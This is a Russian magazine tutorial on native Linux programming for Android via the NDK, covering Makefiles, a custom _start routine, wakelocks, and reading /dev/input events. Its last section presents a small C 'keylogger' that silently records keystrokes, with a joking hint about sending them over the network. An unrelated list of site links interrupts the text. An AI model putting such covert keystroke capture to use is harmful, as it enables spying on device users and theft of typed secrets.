LXF156:Android:программирование
|
|
|
Android
Ваши программные наработки не пропадут даром
Часть 2: Прикладные интерфейсы ядра. Андрей Боровский расскажет то, что вы хотели знать про Android, но боялись спросить.
Продолжим увлекательное путешествие в мир программирования для Android. Но это не то программирование, про которое пишут толстые книги. В этом мире программы, не заметные пользователю, берут под контроль управление питанием системы и перехватывают пользовательский ввод.
Итак, разберемся, что же мы имеем. Самый важный инструментарий для нас – NDK. При установке новейшей (на момент написания текста) версии NDK – r7 – где-то в недрах вашей файловой системы должна появиться директория android-ndk-r7. Ее мы будем называть NDK_ROOT (включая полный путь к ней).
В NDK_ROOT вы увидите множество поддиректорий непонятного назначения. Не отчаивайтесь: во всем этом легко разобраться, тем более что для наших хакерских целей понадобится не весь NDK. Одна из важнейших для нас директорий – NDK_ROOT/toolchains. Как видно по названию, она содержит различные версии инструментария сборки приложений для Android. Фактически это стандартный инструментарий сборки приложений GNU/Linux. Директория NDK_ROOT/toolchains включает две поддиректории: x86-4.4.3, предназначенная для сборки программ Android для платформы x-86, и arm-linux-androideabi-4.4.3, ориентированная на платформу ARM (для другой версии NDK, цифры, естественно, могут быть другими). Раз мы условились писать программы для ARM, переходим в эту директорию. В ее поддиректориях есть все необходимое для сборки и отладки программ Linux на платформе ARM. Напомню, что сами инструменты сборки предназначены для запуска на ПК архитектуры Intel, а результатом сборки станут программы, для выполнения которых потребуется процессор семейства ARM (или его эмулятор).
Вторая важная директория – NDK_ROOT/platforms. Она содержит библиотеки и заголовочные файлы для API Android различных версий (уровней). В ней вы найдете несколько поддиректорий вида android-x, где x – номер уровня API. Между уровнями API и версиями ОС Android существует четкое соответствие. Ниже приводится перечень уровней API для наиболее популярных на данный момент версий Android (полную таблицу вы можете найти на сайте разработчиков Android – developer.android.com).
Версия Андроид | Уровень API |
---|---|
1.5 | 3 |
2.0 | 5 |
2.1.x | 7 |
2.2.x | 8 |
2.3–2.3.2 | 9 |
3.0.x | 11 |
3.1.x | 12 |
3.2 | 13 |
4.0–4.0.2 | 14 |
В каждой директории android-x имеются поддиректории arch-x86 и arch-arm, для двух целевых платформ. Каждая директория содержит поддиректории /usr/lib и /usr/include – то, чего нам так не хватало для сборки программ под Android. Стоит отметить, что не все библиотеки Android менялись при переходе от одного уровня API к другому. В NDK-r6 файлы некоторых библиотек представляли собой символьные ссылки на файлы тех же библиотек более ранних уровней API. Сравнивая API разных уровней, вы заметите, что с номером уровня количество библиотек растет – и не только потому, что в новых версиях Android появляются новые компоненты, но и потому, что более новые версии Android предоставляют более широкий доступ на уровне Linux API к компонентам системы, введенным ранее. Итак, желая, чтобы ваши программы получили максимальный доступ к функциям Android, экспериментируйте с новейшей версией ОС. Нетрудно видеть также, что разные уровни API обладают обратной совместимостью. Рассмотрим наиболее интересные возможности, доступные программам Linux в разных версиях Android.
- Android 1.5 (уровень API 3) На этом уровне нам доступны библиотека Bionic, библиотека времени выполнения C++ в несколько урезанном варианте, интерфейс работы с потоками POSIX Threads, тоже слегка урезанный, и стандартная библиотека математических функций. Все перечисленное линкуется с исполняемым файлом автоматически; специальных команд для подключения библиотек указывать не нужно.
Библиотека zlib (работа со сжатыми данными) должна подключаться явно (с помощью ключа --lz), как и библиотека libdl, требуемая для динамической загрузки разделяемых библиотек.
- Android 2.0 -2.3 Добавлены поддержка OpenGL ES 2.0 (библиотека libGLESv2.so, уровень API 5), Android bitmap API (уровень API 8), поддержка EGL (libEGL.so, уровень API 9) и поддержка OpenSL ES (libOpenSLES.so, уровень API 9)
API 9 вообще можно назвать прорывом в области программирования для Android: именно в нем появился интерфейс программирования Android native application API для программ Linux (библиотека libandroid.so). Эта библиотека позволяет приложению Linux взаимодействовать с системой так же, как это делает приложение, написанное на Java (включая графический ввод-вывод).
- Android 4 (уровень API 14) Добавлена поддержка интерфейса OpenMAX AL (библиотека libOpenMAXAL.so), позволяющего работать с аппаратно-ускоренными потоками мультимедиа-данных.
Теперь у нас есть все необходимые инструменты для написания программ Linux под Android. Осталось только овладеть несколькими трюками, чтобы научиться правильно (или неправильно – это с какой стороны взглянуть) ими пользоваться.
Наш первый Make-файл
Для сборки программ Linux под Android нам понадобится специальный Make-файл. Make-файл, предназначенный для сборки даже самой простой программы Linux-Android, выглядит довольно сложно и использует приемы, редкие в обычном программировании для Linux. Но этот Make-файл можно применить как шаблон для создания файлов, управляющих сборкой более сложных программ, причем менять шаблон придется не так уж сильно.
Освоение Android мы начнем с простейшей программы test:
#include <stdio.h> #include <stdlib.h> int main(int argc, char **argv) { printf(“Hello, world!\n”); exit(0); return 0; }
Она отличается от традиционной для Linux программы Hello World. Выведя сообщение, мы вызываем функцию exit() – она завершает работу программы (оператор return ничего не делает и сохранен только ради поддержки стандартного синтаксиса). Функция exit() нужна нам потому, что в нашем распоряжении нет библиотеки GNU glibc, которая бы обслуживала программу. Без явного вызова exit() программа test будет выполняться и после выхода из main(), пока не вызовет какое-либо исключение. Далее мы рассмотрим целых два способа предоставить функции main() удобства библиотеки libc без самой этой библиотеки.
Рассмотрим Make-файл для программы test – он станет основой аналогичных файлов для всех остальных наших программ.
APP := test SRC:=test.c SDK_ROOT:=/home/andrei/android-sdk-linux_x86 NDK_ROOT:=/home/andrei/android-ndk-r7 NDK_API_LEVEL := android-3 NDK_HOST:=linux-x86 PREBUILD:=$(NDK_ROOT)/toolchains/arm-linux-androideabi-4.4.3/prebuilt/$(NDK_HOST) BIN := $(PREBUILD)/bin GDB_CLIENT := $(BIN)/arm-linux-androideabi-gdb FS_ROOT := $(NDK_ROOT)/platforms/$(NDK_API_LEVEL)/arch-arm INSTALL_DIR := /storage DEBUG = -g CPP := $(BIN)/arm-linux-androideabi-g++ CC := $(BIN)/arm-linux-androideabi-gcc CFLAGS := $(DEBUG) -I$(FS_ROOT)/usr/include LDFLAGS := -Wl,--entry=main,-rpath-link=$(FS_ROOT)/usr/lib,-dynamic-linker=/system/bin/linker -L$(FS_ROOT)/usr/lib LDFLAGS += -nostdlib -lc all: $(APP) OBJS += $(APP).o $(APP): $(OBJS) $(CPP) $(LDFLAGS) -o $@ $^ $(APP).o: $(SRC) $(CC) $(SRC) -c $(INCLUDE) $(CFLAGS) -o $@ install: $(APP) $(SDK_ROOT)/platform-tools/adb push $(APP) $(INSTALL_DIR)/$(APP) $(SDK_ROOT)/platform-tools/adb shell chmod 777 $(INSTALL_DIR)/$(APP) shell: $(SDK_ROOT)/platform-tools/adb shell run: $(SDK_ROOT)/platform-tools/adb shell $(INSTALL_DIR)/$(APP) debug: $(GDB_CLIENT) $(APP) clean: @rm -f *.o $(APP)
Смысл переменных, объявленных в начале файла, должен быть ясен. После всех манипуляций переменная BIN содержит полное имя директории, где хранится пакет GCC для ARM и его друзья. Переменная FS_ROOT указывает системе сборки, где искать директории include и lib для подключения добавочных библиотек. При записи значения в эту переменную используется переменная API_LEVEL, задающая уровень API (то есть поддиректорию директории NDK_ROOT/platforms) для данной сборки. Нашей первой программе много не надо, и мы используем API уровня 3. Переменная INSTALL_DIR хранит директорию файловой системы целевого устройства, куда должно быть скопировано собранное приложение.
Далее объявляются переменные, содержащие ключи для компилятора, компоновщика и отладчика. Если вы знакомы с инструментарием сборки GNU, значения переменных DEBUG, CC, CPP и CFLAGS не должны вызывать у вас вопросов. Интересное начинается с переменной LDFLAGS. Ключ --entry редко используется при сборке обычных программ Linux; он позволяет указать имя функции, которая будет точкой входа в программу. При использовании стандартной glibc точкой входа является функция _start(), предоставляемая glibc, и компоновщик знает об этом. У программы test нет функции _start(), и в качестве точки входа мы указываем функцию main().
Сочетание ключей --rpath-link и --dynamic-linker позволяет обойти проблему, связанную с тем, что файловая система целевого устройства выглядит не так, как файловая система ПК, на котором мы собираем программу. При сборке на ПК программа-компоновщик должна искать библиотеки не там, где подсказывает ей система (система предложит стандартные библиотеки Linux для ПК, которые нам не подходят), а там, где мы укажем. Так как на целевом устройстве эти библиотеки расположены совсем в других местах, мы используем динамический загрузчик библиотек (/system/bin/linker – путь к компоновщику в файловой системе целевого устройства), который выполнит «интеллектуальное» связывание программы с нужными ей библиотеками.
Сочетание ключей --no-stdlib и --lc выглядит издевательским: сначала мы запрещаем связывать программу со стандартной библиотекой C, а затем выполняем-таки связывание. Объясняется это сочетание тем, что стандартная библиотека C (Bionic), с которой мы связываем программу, не является стандартной glibc.
Между прочим, концепция, реализованная в представленном Make-файле, годится не только для Android, но и для любой Linux-подобной системы, у которой есть динамический загрузчик библитек. Все, что нужно – это обзавестись разделяемыми библиотеками и заголовочными файлами для соответствующей системы.
Обратите внимание на объявленную в Make-файле цель install. Для установки программы на целевое устройство используется описанная в предыдущей части утилита adb из SDK. Как было сказано в предыдущей части, для выполнения этих команд вам могут понадобиться права root, которые по умолчанию предоставляет только эмулятор устройств Android, входящий в состав SDK. Осталось собрать программу и убедиться в том, что она работает.
Чтобы преодолеть неудобства из-за отсутствия в программе стандартной функции _start(), напишем свой вариант этой функции (файл crt0.s):
crt0.s: .text .global _start _start: [[Файл:Файл:Pic1_opt.jpeg |right |400px| Файл crtbegin_dynamic.o, дизассемблированный с помощью программы objdump.]] mov r0, sp mov r1, #0 add r2, pc, #4 add r3, pc, #4; b __libc_init b main .word __preinit_array_start .word __init_array_start .word __fini_array_start .word __ctors_start .word 0 .word 0 ...
Здесь мы ограничимся фрагментом файла (полный вариант – на диске). Не вдаваясь в детали сверх меры, отметим, что функция _start() просто вызывает функцию __libc_init(), а затем функцию main(). __libc_init() подготавливает среду окружения для функции main(). Помимо прочего, в результате вызова __libc_init() функция main() получает корректные значения параметров argc и argv (__libc_init() записывает их в регистры r0 и r1) и может завершаться оператором return без вызова функции exit(). Make-файл для сборки программы придется слегка поменять:
SRC:=test.c crt0.s OBJS := $(APP).o crt0.o LDFLAGS := -Wl,--entry=_start,-rpath-link=$(FS_ROOT)/usr/lib,-dynamic-linker=/system/bin/linker -L$(FS_ROOT)/usr/lib
Думаю, что модификации в пояснениях особо не нуждаются.
Наша функция _start полезна скорее в целях показа, что происходит в стандартной программе ARM Linux. В каталоге lib выбранной вами платформы NDK вы найдете файл crtbegin_dynamic.o, содержащий, по сути, объектный код той же функции _start, любезно скомпилированной для нас разработчиками Android. Чтобы воспользоваться этой функцией вместо приведенной выше, достаточно модифицировать значение переменной OBJS:
OBJS := $(APP).o $(FS_ROOT)/usr/lib/crtbegin_dynamic.o
Блокировки отключения питания
Теперь исследуем Android с точки зрения программиста Linux. Одной из специфических черт ядра Android являются блокировки отключения питания [wakelocks]. Как и большинство других мобильных устройств, устройства Android автоматически переходят в один из режимов экономии энергии, если какое-то время не происходит событий, требующих активной работы устройства. Очевидно, не все программы устроит такой режим работы: некоторым важна гарантия, что система не сразу уйдет в спячку. Этой цели и служат блокировки отключения питания.
Рассмотрим пример программы, которая блокирует отключение питания на 10 минут (файл wakelock.c)
int main(int argc, char ** argv) { [[Файл:Pic2_opt.jpeg |left |400px| Наша блокировка отключения питания в окне виртуального терминала Android.]] int lock_fd; int unlock_fd; char * name = “native_test_lock”; lock_fd = open(“/sys/power/wake_lock”, O_WRONLY); if (lock_fd < 0) { printf (“locking failed\n”); return 1; } write(lock_fd, name, strlen(name)); close(lock_fd); printf(“locking system in a wake state for 10 minutes\n”); sleep(600); unlock_fd = open(“/sys/power/wake_unlock”, O_WRONLY); if (unlock_fd < 0) { printf (“unlocking failed\n”); return 1; } write(unlock_fd, name, strlen(name)); close(unlock_fd); printf(“unlocking system\n”); return 0; } <pre> Как видим, интерфейс блокировок отключения питания весьма прост и даже не требует специального API. Для включения блокировки нужно лишь записать уникальную строку (имя блокировки) в файл /sys/power/wake_lock; а для отключения – записать ту же строку в файл /sys/power/wake_unlock. Убедиться в том, что блокировка успешно создана, можно с помощью команды cat /proc/wakelocks ==Перехват событий клавиатуры== Ну, а теперь напишем настоящую хакерскую программу (в лучшем, или, наоборот, в худшем смысле этого слова): программу-кейлоггер, незаметно для остальной системы фиксирующую нажатия на клавиатуре Android. Программа пригодится для общего понимания работы ввода в ОС Android, отладки и тестирования ввода и других хороших вещей. Надеюсь, вы не думаете применять этот код для плохих вещей? О нет, я вас такому не учил. В программе перехвата данных, поступающих с клавиатуры Android, мы задействуем механизм т. н. input events [событий ввода]. В любой системе Linux, включая Android, есть директория /dev/input/ – она содержит файлы, соответствующие различным устройствам ввода. Считывая данные из этих файлов, вы получите информацию о событиях ввода соответствующего устройства. Информация о событии передается в структуре такого вида: <pre> typedef struct { struct timeval time; unsigned short type; unsigned short code; unsigned int value; } input_event;
Поле timeval содержит информацию о времени наступления события. Поле type содержит данные о типе события. Для клавиатуры Android возможны два типа событий: событие, связанное с клавишей (физической или виртуальной) – код 1, и событие, повторяющее предыдущее – код 0x14. Поле code содержит скан-код клавиши. Поле value содержит состояние клавиши, вызвавшее событие (1 – клавиша нажата, 0 – клавиша отпущена).
В системе Android события клавиатуры можно добыть из файла /dev/input/event0. Информация о событии считывается из него в формате описанной выше структуры input_event. Для работы с событиями ввода мы напишем API, состоящий из трех простых функций (файл keys.c):
int keys_open(int blocking) { [[Файл:Файл:Pic3_opt.jpeg |left |400p|Информация о нажатых клавишах на экране отладочного терминала.]] int block = blocking == KEYS_OPEN_NONBLOCKING ? O_NONBLOCK : 0; int input = open(“/dev/input/event0”, O_RDONLY|block); return input; } int keys_get(int handle, input_event *ie) { ie->code = 0; read(handle, ie, sizeof(input_event)); if (ie->code) { return 1; } return 0; } void keys_close(int handle) { close(handle); }
Файл keys.c и заголовочный файл keys.h вы найдете на диске. Сама программа-кейлоггер (файл input.c), выглядит так:
int main(int argc, char ** argv) { input_event event; int handle; handle = keys_open(KEYS_OPEN_NONBLOCKING); while(1) { if (keys_get(handle, &event)) printf(“type: %i; code: %i; value: %i\n”, event.type, event.code, event.value); } return 0; }
Данные о нажатых и отпущенных клавишах распечатываются на экран консоли в бесконечном цикле.
В зависимости от значения параметра, переданного функции keys_open(), функция keys_get() может работать в блокирующем либо неблокирующем режиме. Мы вызываем функцию в неблокирующем режиме, в котором она возвращает управление сразу же, независимо от того, появились ли новые события ввода или нет. Получив информацию об очередном событии ввода, функция keys_get() возвращает значение 1, в противном случае – 0.
Как уже отмечалось, программа не мешает работе системы, и пользователь устройства, скорее всего, вообще не заметит ее присутствия. Для запуска программы не требуется прав суперпользователя, хотя такие права, скорее всего, понадобятся для ее установки. Конечно, настоящий кейлоггер не стал бы выводить коды нажатых клавиш на консоль, а отсылал бы их по сети... Впрочем, забудьте, что я это говорил.
Возможно, вы захотите исследовать, за какие устройства отвечают другие файлы в директории /dev/input/. Это можно сделать с помощью простой программы, показанной ниже.
int main (int agrc, char ** argv) { int fd = -1; char name[256]= “Unknown”; if ((fd = open(argv[1], O_RDONLY)) < 0) { perror(“evdev open”); exit(1); } if(ioctl(fd, EVIOCGNAME(sizeof(name)), name) < 0) { perror(“evdev ioctl”); } printf(“The device on %s says its name is %s\n”, argv[1], name); close(fd); return 0; }
- Метамодернизм в позднем творчестве В.Г. Сорокина
- ЛитРПГ - последняя отрыжка постмодерна
- "Ричард III и семиотика"
- 3D-визуализация обложки Ridero создаем обложку книги при работе над самиздатом.
- Архитектура метамодерна - говоря о современном искусстве, невозможно не поговорить об архитектуре. В данной статье будет отмечено несколько интересных принципов, характерных для построек "новой волны", столь притягательных и скандальных.
- Литература
- Метамодерн
- Рокер-Прометей против изначального зла в «Песне про советскую милицию» Вени Дркина, Автор: Нина Ищенко, к.ф.н, член Союза Писателей ЛНР - перепубликация из журнала "Топос".
- Как избавиться от комаров? Лучшие типы ловушек.
- Что делать если роблокс вылетает на windows
- Что делать, если ребенок смотрит порно?
- Почему собака прыгает на людей при встрече?
- Какое масло лить в Задний дифференциал (мост) Visco diff 38434AA050
- О чем может рассказать хвост вашей кошки?
- Верветки
- Отчетность бюджетных учреждений при закупках по Закону № 223-ФЗ
- Срок исковой давности как правильно рассчитать
- Дмитрий Патрушев минсельхоз будет ли преемником Путина
- Кто такой Владислав Поздняков? Что такое "Мужское Государство" и почему его признали экстремистским в России?
- Как правильно выбрать машинное масло в Димитровграде?
- Как стать богатым и знаменитым в России?
- Почему фильм "Пипец" (Kick-Ass) стал популярен по всему миру?
- Как стать мудрецом?
- Как правильно установить FreeBSD
- Как стать таким как Путин?
- Где лучше жить - в Димитровграде или в Ульяновске?
- Почему город Димитровград так называется?
- Что такое метамодерн?
- ВАЖНО! Временное ограничение движения автотранспортных средств в Димитровграде
- Тарифы на электроэнергию для майнеров предложено повысить
Вы найдете этот код в файле devices.c. Запускать скомпилированную программу надо так:
devices /dev/input/event1
В результате будет распечатано понятное для человека название устройств ввода, которому соответствует указанный файл.